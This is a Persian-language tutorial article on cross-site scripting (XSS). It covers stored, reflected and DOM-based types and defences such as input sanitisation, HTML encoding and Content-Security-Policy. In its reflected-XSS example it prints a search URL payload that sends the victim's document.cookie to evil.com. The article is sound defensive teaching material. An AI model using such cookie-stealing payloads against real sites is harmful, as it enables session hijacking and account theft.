حملات XSS

حملات XSS یکی از شایع ترین و خطرناک ترین حملات در دنیای امنیت وب هستند. این نوع حمله به مهاجم اجازه می دهد تا اسکریپت های مخرب را در صفحات وب تزریق کند و آن ها را در مرورگر کاربران اجرا نماید. این حملات، تهدیدی است که هم توسعه دهندگان و هم کاربران باید آن را جدی بگیرند.

XSS چه نوع حمله ای است؟

XSS نوعی از حمله تزریق کد است. در این روش، مهاجم کد جاوا اسکریپت مخربی را وارد یک وب سایت می کند و این کد هنگام بازدید کاربران اجرا می شود. این حمله مستقیماً به کاربر نهایی آسیب می زند، نه به سرور.

عبارت XSS مخفف Cross-Site Scripting است. حرف X به جای کلمه Cross استفاده شده تا با CSS (Cascading Style Sheets) اشتباه گرفته نشود. XSS به معنی اجرای کدهای مخرب در سمت کاربر (کلاینت) است، بدون اینکه کاربر از آن اطلاع داشته باشد.

XSS می تواند برای دزدیدن کوکی ها، اطلاعات ورود، اجرای عملیات بدون اطلاع کاربر یا حتی تغییر ظاهر وب سایت استفاده شود. از آنجا که این کدها در مرورگر قربانی اجرا می شوند، مرورگر به آن ها اعتماد می کند و اطلاعات حساس را فاش می سازد. این حملات به راحتی می توانند منجر به سرقت اطلاعات حساب کاربری، تخریب اعتبار سایت و آسیب های مالی و اعتباری شوند.

انواع حملات XSS

حملات XSS به سه نوع اصلی تقسیم می شوند که هر کدام ویژگی ها و نحوه اجرای خاص خود را دارند. شناخت این انواع کمک می کند تا بهتر بتوانید سایت ها و اپلیکیشن های وب را در برابر این تهدید جدی محافظت کنید.

XSS ذخیره شده (Stored XSS)

در حملات XSS ذخیره شده، کد مخرب برای مدت طولانی در سرور باقی می ماند. به عنوان مثال، مهاجم یک اسکریپت جاوا اسکریپت را در بخش نظرات یک سایت وارد می کند. این اسکریپت روی سرور ذخیره می شود و هر کاربری که صفحه را باز کند، آن کد مخرب به طور خودکار در مرورگرش اجرا می شود. این مدل از خطرناک ترین حملات XSS است، چون می تواند تعداد زیادی از کاربران را آلوده کند.

XSS بازتابی (Reflected XSS)

در XSS بازتابی، کد مخرب در URL یا فرم ارسال شده قرار می گیرد و مستقیماً در پاسخ سرور به کاربر منعکس می شود. برخلاف XSS ذخیره شده، در اینجا چیزی روی سرور ذخیره نمی شود. این حمله معمولاً از طریق لینک های مخرب انجام می شود که قربانی روی آن کلیک می کند. برای مثال، یک URL جعلی که حاوی اسکریپت است و توسط ایمیل یا پیام ارسال شده است.

XSS مبتنی بر DOM

این نوع حمله به جای تعامل با سرور، مستقیماً در مرورگر قربانی و از طریق Document Object Model (DOM) انجام می شود. در این روش، اسکریپت مخرب از طریق تغییر در عناصر صفحه، مانند موقعیت مکانی یا داکیومنت، اجرا می شود. این نوع XSS به دلیل اینکه در سمت کلاینت اجرا می شود، تشخیص و مقابله با آن سخت تر است.

نحوه عملکرد حملات XSS

برای درک بهتر خطر حملات XSS، باید بدانیم که این حمله چگونه گام به گام اجرا می شود. در این بخش، مراحل اجرای یک حمله XSS را به زبان ساده بررسی می کنیم.

تزریق کد مخرب در فرم ها یا URL

اولین قدم در حمله XSS، تزریق کد مخرب در یک ورودی کاربر مانند فرم ثبت نام، فرم جستجو یا URL است. مهاجم یک اسکریپت را در این قسمت وارد می کند. اگر وب سایت به درستی ورودی ها را فیلتر یا پاکسازی نکند، این کد وارد صفحه می شود.

به عنوان مثال، مهاجم می تواند در بخش نظرات یک پیام حاوی <script>alert(‘Hacked’)</script> قرار دهد. اگر سایت از این ورودی محافظت نکند، این اسکریپت در پاسخ نمایش داده می شود.

اجرای کد جاوا اسکریپت در مرورگر قربانی

وقتی کاربر نهایی صفحه آلوده را باز می کند، کد مخرب به طور خودکار در مرورگر او اجرا می شود. این اجرا می تواند بدون هیچ نشانه ای از حمله صورت گیرد. مرورگر به کدی که از سمت سایت آمده اعتماد دارد، بنابراین اسکریپت مخرب نیز با همان سطح دسترسی اجرا می شود.

دزدیدن اطلاعات مانند کوکی ها یا نشست ها

پس از اجرای کد مخرب، مهاجم می تواند اطلاعات حساسی مانند کوکی ها، توکن های نشست (session tokens) یا حتی اطلاعات ورود کاربر را جمع آوری کند. این داده ها معمولاً به یک سرور کنترل شده توسط مهاجم ارسال می شوند. سپس مهاجم می تواند از آن اطلاعات برای ورود غیرمجاز به حساب کاربر یا انجام اقدامات خرابکارانه دیگر استفاده کند.

مثال های واقعی از حملات XSS

برای درک بهتر حملات XSS، دیدن چند مثال واقعی بسیار کمک کننده است. در این بخش، دو سناریوی ساده اما متداول را بررسی می کنیم تا ببینیم این نوع حملات چگونه در سایت های واقعی اتفاق می افتند.

فرم تماس با ما

فرض کن یک وب سایت دارای فرم تماس با ما است که در آن کاربران می توانند پیام بفرستند. اگر مدیر سایت، پیام ها را بدون فیلتر کردن نمایش دهد، مهاجم می تواند در قسمت پیام، کدی مانند زیر وارد کند:

html 

CopyEdit 

<script>alert(“شما هک شدید”)</script>
 

اگر وب سایت این ورودی را همان طور که هست در پاسخ HTML نمایش دهد، این کد هنگام باز کردن صفحه توسط مدیر سایت یا سایر کاربران اجرا می شود. این نوع حمله می تواند به آسانی اطلاعات ورود مدیر سایت یا دیگر کاربران را هدف قرار دهد.

نمونه ای از XSS در URL جستجو

حالتی را در نظر بگیر که یک وب سایت نتایج جستجو را به کاربر نمایش می دهد و عبارت جستجو شده را در بالای صفحه تکرار می کند:

arduino 

CopyEdit

نتایج برای: “کتاب برنامه نویسی”

اگر پارامتر جستجو به درستی پاکسازی نشود، مهاجم می تواند از طریق URL زیر حمله کند:

php-template 

CopyEdit 

https://example.com/search?q=<script>document.location=’http://evil.com?cookie=’+document.cookie</script>

با کلیک روی این لینک، اسکریپت در مرورگر اجرا شده و کوکی کاربر برای مهاجم ارسال می شود. این روش یکی از رایج ترین حملات Reflected XSS است.

روش های جلوگیری از حملات XSS

برای مقابله با حملات XSS، تنها راه حل موثر، پیشگیری است. توسعه دهندگان باید با پیاده سازی چند روش امنیتی ساده ولی کاربردی، از اجرای کدهای مخرب در مرورگر کاربران جلوگیری کنند. در ادامه با مهم ترین راهکارها آشنا می شویم.

اعتبارسنجی و پاک سازی ورودی ها

یکی از مهم ترین روش های جلوگیری از XSS، بررسی دقیق ورودی های کاربران است. هر ورودی که از سمت کاربر وارد می شود، باید بررسی شود که شامل کدهای مخرب یا غیرمجاز نباشد. برای مثال، اگر کاربر قرار است فقط عدد وارد کند، اجازه ورود حروف یا کاراکترهای خاص داده نشود.

همچنین برای مقادیر متنی، استفاده از توابع پاک سازی مانند strip_tags یا استفاده از کتابخانه های فریم ورک برای فیلتر کردن HTML ضروری است. این کار جلوی ورود کدهای <script> را می گیرد.

استفاده از کدگذاری HTML (HTML Encoding)

زمانی که اطلاعات کاربر قرار است در صفحات HTML نمایش داده شود، باید از کدگذاری HTML استفاده شود. به این معنا که کاراکترهای خاص مانند <, >, ” به شکل امن و بی خطر تبدیل شوند. مثلا <script> باید به &lt;script&gt; تبدیل شود تا مرورگر آن را به عنوان کد اجرا نکند. این روش یکی از ارکان اصلی امنیت خروجی صفحات وب است و از اجرای ناخواسته کد جلوگیری می کند.

استفاده از CSP (Content Security Policy)

CSP یا سیاست امنیتی محتوا، یک لایه امنیتی دیگر است که در هدرهای HTTP تعریف می شود. با استفاده از CSP می توان مشخص کرد که فقط منابع خاصی (مثلاً فقط از دامنه خود سایت) اجازه اجرای کد جاوا اسکریپت دارند.

مثال:

http 

CopyEdit 

Content-Security-Policy: script-src ‘self’
 

این سیاست از بارگذاری اسکریپت های خارجی یا تزریق شده جلوگیری می کند و حتی اگر کدی از طریق XSS تزریق شود، مرورگر آن را اجرا نخواهد کرد.

نتیجه گیری

در این مقاله به شکل کامل با مفهوم حملات XSS، انواع آن، نحوه عملکرد، نمونه های واقعی و روش های پیشگیری آشنا شدیم. XSS یکی از رایج ترین و خطرناک ترین آسیب پذیری های امنیتی در دنیای وب است که می تواند به راحتی اطلاعات کاربران را در معرض خطر قرار دهد.

همان طور که دیدیم، این نوع حمله با استفاده از جاوا اسکریپت می تواند اطلاعات حساسی مانند کوکی ها، نشست ها یا حتی داده های بانکی را سرقت کند. بنابراین برای هر توسعه دهنده وب ضروری است که با این تهدید آشنا باشد و راه های مقابله با آن را در طراحی سایت رعایت کند.

مهم ترین راهکارها شامل اعتبارسنجی ورودی ها، استفاده از کدگذاری HTML و اعمال سیاست های امنیتی مانند CSP هستند. رعایت این موارد نه تنها امنیت کاربران را افزایش می دهد بلکه باعث اعتبار بیشتر وب سایت و اعتماد کاربران نیز خواهد شد.

امنیت نباید به عنوان یک مرحله اختیاری در توسعه دیده شود، بلکه بخشی جدایی ناپذیر از فرآیند طراحی و پیاده سازی نرم افزار است. با رعایت اصول ساده اما موثر، می توان جلوی بسیاری از حملات از جمله XSS را گرفت و تجربه ای امن تر برای کاربران فراهم کرد.